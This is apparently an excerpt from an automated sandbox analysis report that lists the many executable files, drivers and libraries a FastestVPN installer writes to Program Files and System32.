    Source: C:\Windows\System32\drvinst.exeDropped PE file which has not been started: C:\Windows\System32\DriverStore\Temp\{a3509ad0-a935-f943-9229-64aa1d53db31}\tap0901.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\System.Buffers.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-IURM0.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\VPN.Common.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\iphelperclose.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-29MT4.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-CEAE4.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-21GOU.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\SingleInstanceApplication.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-IKS22.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Hosting.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-QTG1V.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\is-6QD3F.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\System.Web.Cors.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\sp\driver\windows8\i386\fastestvpndriver.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\is-72O2I.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-IS5UL.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-AONU2.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-1L7K0.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-4V7RF.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\libssl32.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\unins000.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\openvpnserv.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\ssleay32.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\tapinstall.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-MT41M.tmp\_isetup\_setup64.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-9AV56.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-AKR35.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\FastestVPN.Data.Remote.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-DLS79.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\openssl.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\SQLitePCLRaw.batteries_v2.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\is-5L8BD.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-GCC8H.tmpJump to dropped file
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\{7287f939-a023-4a42-8efe-c3ab39b8505a}\SETCF80.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\is-BQE44.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\driver\windows\i386\tap0901.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\devcon.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\openvpnserv2.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\is-BUHJE.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-K5QR5.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-8HGA9.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\VPN.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\sp\driver\windows8\amd64\is-PAMI1.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Microsoft.AppCenter.Analytics.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\subinacl.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-EV611.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-3FPII.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\VPN.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\tapctl.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\SQLitePCLRaw.provider.dynamic_cdecl.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-ERPH0.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\liblzo2-2.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tap0901.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-GTIO3.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-2Q1GI.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-3717G.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\is-SRDRF.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\System.Threading.Tasks.Extensions.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-MTDN1.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\System.Memory.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\FastestVPN.Common.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-JUGN8.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-414AO.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\is-VSH0G.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-P5MPD.tmpJump to dropped file
    Source: C:\Windows\System32\xcopy.exeDropped PE file which has not been started: C:\Windows\System32\drivers\fastestvpndriver.sysJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\is-PGVDP.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-GTC50.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\tap0901.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\VPN.RAS.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-26JEF.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\BouncyCastle.Crypto.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Microsoft.AspNet.SignalR.Client.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-9K6BQ.tmpJump to dropped file
    Source: C:\Windows\System32\drvinst.exeDropped PE file which has not been started: C:\Windows\System32\DriverStore\Temp\{a3509ad0-a935-f943-9229-64aa1d53db31}\SETD174.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-3T92M.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\FastestVPN.BLL.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\sp\driver\windows7\amd64\fastestvpndriver.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\fix-dns-leak-32.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\is-V8SS9.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Diagnostics.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\vcruntime140.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-L52FN.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-99PJ9.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\msvcr100.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-35J99.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\WpfAnimatedGif.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\openvpn.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-ECRGA.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-BJMR4.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\VPN.RAS.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Microsoft.AppCenter.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\VPN.OpenVpn.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\driver\windows\i386\tapinstall.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\is-PVOM6.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\is-935KR.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\libeay32.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\libcrypto-1_1-x64.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Host.HttpListener.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\is-FLT4I.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\VPN.OpenVpn.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\libpkcs11-helper-1.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Microsoft.Extensions.DependencyInjection.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-FDL4T.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\sp\driver\windows8\amd64\fastestvpndriver.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Flurl.Http.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-FS0VU.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Newtonsoft.Json.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Security.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-CHG7I.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\FastestVPN.Common.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-87ND4.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-P4NC5.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\is-VKJQU.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-9JEIB.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-BN7P3.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-4HA7V.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-9HV88.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\FastestVPN.ViewModel.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-0I6F0.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\sp\driver\windows7\amd64\is-0Q8U0.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\tapinstallWin32.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\is-9D9JG.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\Newtonsoft.Json.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\is-0N43E.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-OB5A6.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\VPN.Common.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\FastestVPN.Diagnostics.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\fix-dns-leak-32.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-0H0J5.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-43KDF.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-QEJK5.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-LKGMK.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-U28J4.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\sp\release\is-VKG1P.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Resources\is-M7B0D.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-T8IR5.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\VPN.WireGuard.dll (copy)Jump to dropped file
    Source: C:\Windows\System32\drvinst.exeDropped PE file which has not been started: C:\Windows\System32\drivers\SETDAB9.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\System.Numerics.Vectors.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-950A5.tmpJump to dropped file
    Source: C:\Windows\System32\drvinst.exeDropped PE file which has not been started: C:\Windows\System32\drivers\tap0901.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Updater.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\VPN.WireGuard.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\is-KN6S1.tmpJump to dropped file
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\{7287f939-a023-4a42-8efe-c3ab39b8505a}\tap0901.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\SQLitePCLRaw.core.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Cors.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-UHR8C.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\is-IDIHR.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\System.Runtime.CompilerServices.Unsafe.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDropped PE file which has not been started: C:\Program Files\FastestVPN\Hardcodet.NotifyIcon.Wpf.dll (copy)Jump to dropped file
